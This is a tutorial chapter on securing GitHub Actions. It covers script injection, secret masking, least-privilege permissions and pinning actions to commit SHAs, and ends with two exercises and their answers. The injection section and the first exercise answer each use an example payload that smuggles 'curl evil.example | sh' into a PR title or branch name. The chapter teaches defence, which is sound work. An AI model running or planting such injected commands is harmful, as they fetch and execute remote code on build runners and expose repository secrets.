Sub topic 15
Securing your action and its users
This chapter assumes you can write an action.yml, a JavaScript or Docker action, and a workflow that calls it. It covers the security mistakes that most often affect action authors and the people who use their actions.
Treat inputs as untrusted
An action runs with the permissions of the workflow that calls it. Inputs often come from pull request titles, branch names, or issue bodies, and an attacker can control all of these. Never assume an input is safe.
The most common error is script injection. GitHub expands ${{ }} expressions before the shell sees the script. A crafted value can then become part of the command.
# Unsafe: the title is pasted into the script text
- run: echo "${{ github.event.pull_request.title }}"A title such as "; curl evil.example | sh # would run as a command. Pass the value through an environment variable instead. The shell then treats it as data.
- name: Print the title safely
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"The same rule applies inside your action. In a Docker entrypoint, always quote "$1". In JavaScript, don't pass input to child_process.exec as part of a command string. Use execFile with an argument array.
const { execFile } = require('child_process');
const core = require('@actions/core');
const branch = core.getInput('branch');
execFile('git', ['checkout', branch], (error, stdout) => {
if (error) {
core.setFailed(error.message);
return;
}
console.log(stdout);
});A branch name beginning with - can still be read as an option by some tools. Validate it against an allowed pattern before using it.
Protect secrets
- Pass secrets to your action as inputs, for example
with: token: ${{ secrets.MY_TOKEN }}. Do not read them from the repository. - Call
core.setSecret(value)for any sensitive value your action computes. The runner then masks it in logs. - Never print inputs with
console.logunless you know they are not secret. - Masking works by exact string match. A transformed secret, such as a base64 encoding of it, is not masked unless you register it too.
Limit permissions
Callers should grant the least access the action needs. Document the permissions in your README so users can set them at the workflow or job level.
permissions:
contents: read
pull-requests: writeIf your action only reads code, say so. Users can then keep GITHUB_TOKEN read-only.
Pin the actions you use
A tag like @v4 can move. If a repository is compromised, the attacker can retarget the tag to malicious code. A full commit SHA cannot be changed.
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1Pin third-party actions to a SHA and keep a version comment beside it. Dependabot can update pinned SHAs for you. Apply the same discipline inside your own action. Pin the Docker base image to a specific version, such as alpine:3.20, or to a digest, and lock npm dependencies with package-lock.json.
Reduce what you ship
- Keep dependencies few. Each one is part of your attack surface.
- Run
npm auditbefore you release. - For Docker actions, use a small base image and avoid running unneeded services.
- Commit the bundled
dist/output from a clean build, and check in CI that it matches the source.
Common errors
| Mistake | Fix |
|---|---|
| `${{ }}` inside `run:` with event data | Pass it through `env:` |
| `exec` with string concatenation | Use `execFile` with an argument list |
| Unquoted `$1` in a shell entrypoint | Quote it: `"$1"` |
| Actions referenced by moving tag | Pin to a commit SHA |
| Derived secrets printed to logs | Call `core.setSecret` |
Exercise
A workflow step contains run: git checkout ${{ github.head_ref }}. Why is this unsafe, and how do you fix it?
Show answer
The branch name is inserted into the script text before the shell runs, so a branch named like x; curl evil.example | sh executes as a command. Pass it through an environment variable and quote it: set env: BRANCH: ${{ github.head_ref }} and run git checkout -- "$BRANCH".
Exercise
Why is pinning to @v4 weaker than pinning to a commit SHA?
Show answer
A tag can be moved to different code, including malicious code if the repository is compromised. A commit SHA identifies fixed content and cannot be retargeted.